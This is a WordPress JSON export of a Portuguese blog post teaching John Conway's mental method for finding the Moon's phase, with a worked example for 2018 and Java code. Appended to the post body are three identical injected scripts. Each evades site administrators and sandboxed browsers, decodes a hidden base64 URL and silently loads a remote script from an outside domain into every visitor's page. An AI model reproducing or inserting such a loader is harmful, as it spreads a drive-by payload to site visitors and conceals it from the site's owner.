{"id":4296,"date":"2018-04-05T08:16:32","date_gmt":"2018-04-05T11:16:32","guid":{"rendered":"http:\/\/thiagovespa.com.br\/blog\/?p=4296"},"modified":"2025-10-26T22:31:28","modified_gmt":"2025-10-27T01:31:28","slug":"como-saber-a-fase-da-lua-de-cabeca","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2018\/04\/05\/como-saber-a-fase-da-lua-de-cabeca\/","title":{"rendered":"Como saber a fase da Lua de cabe\u00e7a?"},"content":{"rendered":"<p>Quer aprender a descobrir a fase lunar de um dia apenas somando 3 a 4 n\u00fameros? Vamos ver mais a frente...<\/p>\n<p>Ao estudar um pouco sobre as fases lunares, me deparei com um algoritmo muito interessante do\u00a0matem\u00e1tico John Horton Conway. Ele cria um m\u00e9todo para facilitar sabermos as fases lunares, sem a necessidade de c\u00e1lculos elaborados, apenas com contas que conseguimos realizar mentalmente. Por isso, resolvi incrementar um pouco o algoritmo de fases lunares que eu havia feito e tamb\u00e9m implementar esse algoritmo mental. Se voc\u00ea ainda n\u00e3o viu a vers\u00e3o simplificada, para computadores, considerando somente o per\u00edodo sin\u00f3dico, d\u00ea uma olhada\u00a0<a href=\"http:\/\/thiagovespa.com.br\/blog\/2018\/04\/04\/calculo-do-dia-lunar-e-fases-da-lua-com-java-10\/\" target=\"_blank\" rel=\"noopener\">aqui<\/a>.<\/p>\n<p>O algoritmo de Conway consiste em achar um padr\u00e3o apenas utilizando contas simples para as fases lunares do s\u00e9culo XX e XXI. Embora ele n\u00e3o tenha calculado os valores para os outros anos, creio que seja poss\u00edvel fazer apenas alterando um par\u00e2metro na somat\u00f3ria final (tentarei posteriormente). A ideia desse algoritmo \u00e9 que ele possa ser armazenado mentalmente para voc\u00ea saber as fases da lua, sem olhar para o c\u00e9u.<\/p>\n<p>Em resumo voc\u00ea considera apenas os dois \u00faltimos d\u00edgitos do ano, calcula o resto da divis\u00e3o dele por 19 e se for maior que 9, subtraia 19. Multiplica o resultado por 11, calcula o resto da divis\u00e3o por 30. Subtrai 4, para o s\u00e9culo XX ou subtrai 8 para o s\u00e9culo XXI e acha o resto da divis\u00e3o por 30 novamente. Soma com o dia e o m\u00eas (se for janeiro ou fevereiro voc\u00ea soma 2). Se voc\u00ea achar dif\u00edcil, olhe para o c\u00e9u :D. Para o ano atual (2018), podemos j\u00e1 adiantar uma parte do algoritmo para facilitar o c\u00e1lculo mental:<\/p>\n<ul>\n<li>resto da divis\u00e3o de 18 (dois \u00faltimos d\u00edgitos) por 19 \u00e9 18<\/li>\n<li>como \u00e9 maior que 9, subtraia 19; temos: 18-19 = -1<\/li>\n<li>multiplica o resultado por 11; temos: -1 * 11 = -11<\/li>\n<li>resto da divis\u00e3o de -11 por 30 \u00e9 19<\/li>\n<li>como estamos no s\u00e9culo XXI, subtrai 8; temos 19 - 8 = 11<\/li>\n<li>resto da divis\u00e3o de 11 por 30 \u00e9 11<\/li>\n<\/ul>\n<p>Essa a parte do c\u00e1lculo que utiliza o ano. Ent\u00e3o para o ano de 2018, voc\u00ea n\u00e3o precisa mais realizar nenhum c\u00e1lculo, o valor obtido \u00e9 11 (pode decorar esse n\u00famero, que at\u00e9 o fim desse ano ele \u00e9 v\u00e1lido). Caso ache interessante, calcule para os outros anos. Para o dia e m\u00eas de hoje (05 de abril) \u00e9 s\u00f3 fazer a seguinte conta:<\/p>\n<ul>\n<li>n\u00famero obtido (no caso \u00e9 11) + dia + m\u00eas; temos: 11+5+4 = 20<\/li>\n<li>Se for janeiro ou fevereiro soma-se mais 2... n\u00e3o \u00e9 o caso nosso<\/li>\n<\/ul>\n<p>Com isso voc\u00ea s\u00f3 precisa saber o n\u00famero 11 e somar com outros 2 n\u00fameros para saber o dia lunar que estamos. Que no caso \u00e9 dia 20. F\u00e1cil, n\u00e9? Para saber a fase da lua, voc\u00ea pode utilizar a seguinte tabela:<\/p>\n<ul>\n<li>Lua Nova - 0, 1, 29<\/li>\n<li>Crescente - de 2 a 6<\/li>\n<li>Quarto crescente - 7 e 8<\/li>\n<li>Crescente gibosa - de 9 a 13<\/li>\n<li>Cheia - de 14 a 16<\/li>\n<li>Minguante gibosa - de 17 a 21<\/li>\n<li>Quarto minguante - 22 e 23<\/li>\n<li>Minguante - de 24 a 28<\/li>\n<\/ul>\n<p>Ou se preferir \u00e9 s\u00f3 lembrar que quanto mais pr\u00f3ximo do valor 15 estiver, mais cheia est\u00e1 a lua e assim n\u00e3o precisa decorar mais nada.<\/p>\n<p>Com isso, resolvi implementar essa l\u00f3gica do algoritmo, incrementando alguns valores. Ela pode ser encontrada <a href=\"https:\/\/www.cs.williams.edu\/~bailey\/cs135\/lectures\/Lecture02.pdf\" target=\"_blank\" rel=\"noopener\">aqui<\/a> e <a href=\"http:\/\/www.faqs.org\/faqs\/astronomy\/faq\/part3\/section-15.html\" target=\"_blank\" rel=\"noopener\">aqui<\/a>. O c\u00f3digo est\u00e1 baseado na <a href=\"http:\/\/thiagovespa.com.br\/blog\/2018\/04\/04\/calculo-do-dia-lunar-e-fases-da-lua-com-java-10\/\" target=\"_blank\" rel=\"noopener\">vers\u00e3o anterior<\/a>\u00a0(veja antes de utilizar o novo). Para a tabela de luas, criei uma fun\u00e7\u00e3o com condicionais (preciso melhorar):<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">    public static MoonPhase getMoonPhaseConway(int lunarDay) {\n        if(lunarDay&lt;=28) { if(lunarDay&gt;=24) {\n                return MoonPhase.WANING_CRESCENT;\n            }\n            if(lunarDay&gt;=22) {\n                return MoonPhase.THIRD_QUARTER;\n            }\n            if(lunarDay&gt;=17) {\n                return MoonPhase.WANING_GIBBOUS;\n            }\n            if(lunarDay&gt;=14) {\n                return MoonPhase.FULL_MOON;\n            }\n            if(lunarDay&gt;=9) {\n                return MoonPhase.WAXING_GIBBOUS;\n            }\n            if(lunarDay&gt;=7) {\n                return MoonPhase.FIRST_QUARTER;\n            }\n            if(lunarDay&gt;=2) {\n                return MoonPhase.WAXING_CRESCENT;\n            }\n        }\n        return MoonPhase.NEW_MOON; \/\/0,1,29\n    }<\/pre>\n<p>E o c\u00f3digo da l\u00f3gica:<\/p>\n<pre class=\"brush: java; highlight: [18]; title: ; notranslate\" title=\"\">    public static int getLunarDayConway(LocalDateTime ldt) {\n        var year = ldt.getYear();\n        var month = ldt.getMonthValue();\n        var day = ldt.getDayOfMonth();\n\n        if(year &lt; 1900 || year &gt;= 2100) throw new RuntimeException(&quot;Date must be greater than 1900 and less than 2100&quot;);\n        var centS = -4.0;\n        if(year &gt; 2000) {\n            centS = -8.3;\n        }\n        var lastTwoDigits = year%100.0;\n        double vl = lastTwoDigits % 19; \n        if(vl &gt; 9) {\n            vl-=19.0;\n        }\n        vl*=11.0;\n        vl%=30;\n        vl+=centS;\n\n        vl+=month+day;\n        if(month&lt;3) {\n            vl+=2;\n        }\n\n        vl = Math.round(vl)%30;\n        return (int)((vl &lt; 0) ? vl+30 : vl);\n    }<\/pre>\n<p>Da linha 7 a 17 \u00e9 o c\u00e1lculo do valor referente ao ano, que no nosso caso (2018) \u00e9 11. E na linha 18 \u00e9 a soma que fazemos do m\u00eas e do dia para descobrir o dia lunar.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quer aprender a descobrir a fase lunar de um dia apenas somando 3 a 4 n\u00fameros? Vamos ver mais a frente... Ao estudar um pouco sobre as fases lunares, me deparei com um algoritmo muito interessante do\u00a0matem\u00e1tico John Horton Conway. <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2018\/04\/05\/como-saber-a-fase-da-lua-de-cabeca\/\">Continue lendo  <span class=\"screen-reader-text\">  Como saber a fase da Lua de cabe\u00e7a?<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-4296","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4296","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4296"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4296\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4296"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4296"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4296"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}